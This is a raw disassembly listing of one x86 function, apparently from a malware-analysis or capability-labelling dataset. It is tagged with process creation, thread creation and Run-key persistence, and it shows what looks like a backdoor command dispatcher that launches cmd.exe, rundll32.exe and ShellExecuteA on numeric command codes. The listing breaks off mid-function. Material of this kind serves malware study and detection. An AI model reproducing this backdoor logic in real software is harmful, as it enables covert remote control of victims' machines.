Function at 0x10032678
Capabilities:
Create process on windows
Create thread
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
push 8
call fcn.100b8c3f
add esp, 4
mov dword [ebp - 4], eax
mov edi, eax
mov esi, 0x100d5289
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
push 8
call fcn.100b8c3f
add esp, 4
mov dword [ebp - 0x1c], eax
mov edi, eax
mov esi, 0x100d5289
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], 0
push 8
call fcn.100b8c3f
add esp, 4
mov dword [ebp - 0x30], eax
mov edi, eax
mov esi, 0x100d5289
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x34], 0
push 8
call fcn.100b8c3f
add esp, 4
mov dword [ebp - 0x38], eax
mov edi, eax
mov esi, 0x100d5289
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x40], 0
cmp dword [ebp + 0x10], 3
jne 0x1003288c
mov dword [ebp - 0x44], 0
push 0
push dword [ebp - 0x44]
lea eax, [ebp - 4]
push eax
mov eax, str.rundll32.exe
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.10003201
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1003277c
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 4]
call fcn.100027cb
xor ecx, ecx
push eax
lea eax, [ebp - 8]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x1003287f
mov ebx, dword [ebp - 4]
call fcn.100020b9
push ebx
push ecx
mov eax, dword [ebp - 8]
dec eax
jns 0x100327c2
push 0xa6
push 0x403116f
push 4
call fcn.100b8c4b
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x100327df
push 0xa6
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
mov eax, str.Remote.hlp
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x44]
push dword [ebx]
call fcn.10030ac4
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10032810
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x4c], 0
je 0x10032877
mov ebx, dword [ebp - 4]
call fcn.100020b9
push ebx
push ecx
mov eax, dword [ebp - 8]
dec eax
jns 0x10032841
push 0xd8
push 0x403116f
push 4
call fcn.100b8c4b
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x1003285e
push 0xd8
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push 1
mov ebx, dword [ebp - 0x44]
push dword [ebx]
call fcn.10004694
jmp 0x1003287f
pop eax
pop ebx
pop ecx
jmp 0x1003278d
add esp, 0xc
call fcn.10022cd7
jmp 0x1003a351
cmp dword [ebp + 0x10], 2
jne 0x1003a351
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.1000d1a4
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x100328b8
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
push 0x80000301
push 0
push 6
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x100328db
mov eax, 0x100d5289
push eax
push 2
mov ebx, 0x1a0
call fcn.100bb760
add esp, 0x1c
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10032904
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1003292a
push ebx
call fcn.100b8c45
add esp, 4
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x1003293e
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x10032955
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x194
call fcn.100ba1f0
add esp, 0x10
mov dword [ebp - 0x4c], eax
fild dword [ebp - 0x4c]
fstp qword [ebp - 0x4c]
fld qword [ebp - 0x4c]
fsub qword [0x100d58ef]
fstp qword [ebp - 0x54]
fld qword [ebp - 0x54]
call fcn.10001795
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x100329a6
mov eax, 0x100d5289
push eax
push 2
mov ebx, 0x1a4
call fcn.100bb790
add esp, 0x1c
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x100329d6
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
push 0x100de9e7
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10032d4c
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10032a06
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0x100de9ee
push dword [ebp - 0x44]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10032a4a
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x48], 0
je 0x10032b70
cmp dword [0x100e6a7d], 0
je 0x10032abc
push reloc.WS2_32.dll_connect
push 0
push 0x100de9fc
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, 0x100de9e7
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10032aa7
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10032ab7
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x10032b6b
mov dword [ebp - 0x4c], esp
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0x1004712e
push 0
push 0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
nop
nop
cmp dword [ebp - 0x4c], esp
je 0x10032b02
push 0x3be
push 0x403116f
push 6
call fcn.100b8c4b
add esp, 0xc
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
jne 0x10032b6b
push reloc.WS2_32.dll_connect
push 0
push 0x100dea18
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, 0x100de9e7
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10032b5b
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10032b6b
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x10032d47
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10032b83
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0x100dea28
push dword [ebp - 0x44]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10032bc7
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x48], 0
je 0x10032c1a
push dword [0x100e6a7d]
call fcn.1003a53b
mov dword [0x100e6a7d], 0
mov dword [ebp - 0x44], 0
push 0
push dword [ebp - 0x44]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.1003a57b
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10032c15
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x10032d47
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10032c2d
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x4c], eax
push 0x100de9ee
push dword [ebp - 0x4c]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10032c74
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x50], 0
je 0x10032cf8
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10032c94
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x54], eax
push 0x100dea28
push dword [ebp - 0x54]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0x58], eax
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x10032ce4
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x58], 0
je 0x10032cf8
mov eax, 1
jmp 0x10032cfd
mov eax, 0
test eax, eax
je 0x10032d47
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10032d18
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
call fcn.1003aa8e
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10032d47
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003a351
push str.100001
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10032f66
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10032d78
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.__.____:___0_9_8765_4_32_1__
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10032db3
mov eax, 0x100d520e
push eax
push 3
mov ebx, 0x190
call fcn.100ba5d0
add esp, 0x28
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10032dd9
push ebx
call fcn.100b8c45
add esp, 4
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x1c]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x10032dfb
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x10032df7
imul eax, dword [ebx]
jmp 0x10032dec
mov ecx, eax
test ecx, ecx
je 0x10032e1a
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x10032e13
push ebx
push eax
call fcn.100b8c45
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x10032e01
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10032e39
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0x80000301
push 0
push 0xb
push 1
mov ebx, 0x1c
mov eax, 0x100c3170
call fcn.100b9790
add esp, 0x10
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
push ebx
push ecx
mov ebx, dword [ebp - 0x1c]
call fcn.100027cb
dec eax
jns 0x10032ea1
push 0x79f
push 0x403116f
push 4
call fcn.100b8c4b
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x10032ebe
push 0x79f
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x50], ebx
mov ebx, dword [ebp - 0x50]
push dword [ebx]
push dword [ebp - 0x48]
mov ecx, 2
call fcn.10001088
add esp, 8
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10032ef7
push ebx
call fcn.100b8c45
add esp, 4
mov dword [ebp - 0x58], esp
push 0
push 0
push dword [ebp - 0x54]
push dword [ebp - 0x44]
push 0
xor eax, eax
call dword [0x100e6bc5]
nop
nop
cmp dword [ebp - 0x58], esp
je 0x10032f3e
push 0x79f
push 0x403116f
push 6
call fcn.100b8c4b
add esp, 0xc
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10032f4e
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x10032f61
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003a351
push str.100002
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10033283
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10032f92
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.__.____:___0_9_8765_4_32_1__
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10032fcd
mov eax, 0x100d520e
push eax
push 3
mov ebx, 0x190
call fcn.100ba5d0
add esp, 0x28
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10032ff3
push ebx
call fcn.100b8c45
add esp, 4
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x1c]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x10033015
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x10033011
imul eax, dword [ebx]
jmp 0x10033006
mov ecx, eax
test ecx, ecx
je 0x10033034
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x1003302d
push ebx
push eax
call fcn.100b8c45
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x1003301b
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10033053
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0x80000301
push 0
push 0xb
push 1
mov ebx, 0x1c
mov eax, 0x100c3170
call fcn.100b9790
add esp, 0x10
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
push ebx
push ecx
mov ebx, dword [ebp - 0x1c]
call fcn.100027cb
dec eax
jns 0x100330bb
push 0x8ba
push 0x403116f
push 4
call fcn.100b8c4b
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x100330d8
push 0x8ba
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x50], ebx
mov ebx, dword [ebp - 0x50]
push dword [ebx]
push dword [ebp - 0x48]
mov ecx, 2
call fcn.10001088
add esp, 8
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10033111
push ebx
call fcn.100b8c45
add esp, 4
mov dword [ebp - 0x58], esp
push 0
push 0
push dword [ebp - 0x54]
push dword [ebp - 0x44]
push 0
xor eax, eax
call dword [0x100e6bc5]
nop
nop
cmp dword [ebp - 0x58], esp
je 0x10033158
push 0x8ba
push 0x403116f
push 6
call fcn.100b8c4b
add esp, 0xc
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10033168
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x1003317b
push ebx
call fcn.100b8c45
add esp, 4
push 0x80000301
push 0
push 0xb
push 1
mov ebx, 0x1c
mov eax, 0x100c3170
call fcn.100b9790
add esp, 0x10
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
push ebx
push ecx
mov ebx, dword [ebp - 0x1c]
call fcn.100027cb
dec eax
jns 0x100331cd
push 0x943
push 0x403116f
push 4
call fcn.100b8c4b
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x100331ea
push 0x943
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x4c], ebx
mov ebx, dword [ebp - 0x4c]
push dword [ebx]
push dword [ebp - 0x44]
mov ecx, 2
call fcn.10001088
add esp, 8
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1003321d
push ebx
call fcn.100b8c45
add esp, 4
mov dword [ebp - 0x54], esp
push 3
push 0
push 0
push dword [ebp - 0x50]
push 0x100d5921
push 0
xor eax, eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
nop
cmp dword [ebp - 0x54], esp
je 0x1003326b
push 0x943
push 0x403116f
push 6
call fcn.100b8c4b
add esp, 0xc
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x1003327e
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003a351
push str.300003
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10034082
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x100332af
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d53a2
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x100332ea
mov eax, 0x100d520e
push eax
push 3
mov ebx, 0x190
call fcn.100ba5d0
add esp, 0x28
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10033310
push ebx
call fcn.100b8c45
add esp, 4
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x1c]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x10033332
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x1003332e
imul eax, dword [ebx]
jmp 0x10033323
mov ecx, eax
test ecx, ecx
je 0x10033351
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x1003334a
push ebx
push eax
call fcn.100b8c45
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x10033338
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x1c]
call fcn.100027cb
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 2
jne 0x1003349e
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 1
cmp eax, ecx
jl 0x1003339a
push 0xa47
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
mov ebx, dword [ebp - 0x44]
mov eax, dword [ebx]
test eax, eax
je 0x100333c0
push eax
mov ebx, eax
call fcn.1000101d
inc eax
push eax
call fcn.100b8c3f
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [0x100e6a81]
test ebx, ebx
je 0x100333d4
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov dword [0x100e6a81], eax
call fcn.1003aba1
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 1
cmp eax, ecx
jl 0x10033407
push 0xab3
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
mov ebx, dword [ebp - 0x44]
push dword [ebx]
push 0x100d58f7
mov ecx, 2
call fcn.10001088
add esp, 8
mov dword [ebp - 0x48], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x48]
test eax, eax
jne 0x1003343c
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10033462
push ebx
call fcn.100b8c45
add esp, 4
mov dword [ebp - 0x50], 0
push 0
push dword [ebp - 0x50]
lea eax, [ebp - 0x4c]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10033499
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003407d
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x100334b1
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x54], eax
push 0x100dea53
push dword [ebp - 0x54]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x58], eax
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x10033501
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x58], 0
je 0x10033565
push reloc.WS2_32.dll_connect
push 0
push str.222222
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10033560
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003407d
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10033578
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x4c], eax
push 0x100d5a57
push dword [ebp - 0x4c]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x100335bf
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x50], 0
je 0x1003362d
mov dword [0x100e6a6d], 0
push reloc.WS2_32.dll_connect
push 0
push str.333333
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10033628
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003407d
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10033640
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x4c], eax
push 0x100dea58
push dword [ebp - 0x4c]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10033687
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x50], 0
je 0x100336eb
push reloc.WS2_32.dll_connect
push 0
push str.110036
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x100336e6
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003407d
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x100336fe
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x4c], eax
push 0x100dea61
push dword [ebp - 0x4c]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10033745
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x50], 0
je 0x100337a9
push reloc.WS2_32.dll_connect
push 0
push str.110085
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x100337a4
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003407d
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x100337bc
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x4c], eax
push 0x100dea6a
push dword [ebp - 0x4c]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10033803
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x50], 0
je 0x10033867
push reloc.WS2_32.dll_connect
push 0
push str.110081
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10033862
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003407d
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1003387a
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x4c], eax
push 0x100dea73
push dword [ebp - 0x4c]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x100338c1
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x50], 0
je 0x10033925
push reloc.WS2_32.dll_connect
push 0
push str.110082
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10033920
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003407d
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10033938
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x4c], eax
push 0x100dea7c
push dword [ebp - 0x4c]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x1003397f
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x50], 0
je 0x100339e3
push reloc.WS2_32.dll_connect
push 0
push str.110064
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x100339de
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003407d
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x100339f6
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x4c], eax
push 0x100dea85
push dword [ebp - 0x4c]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
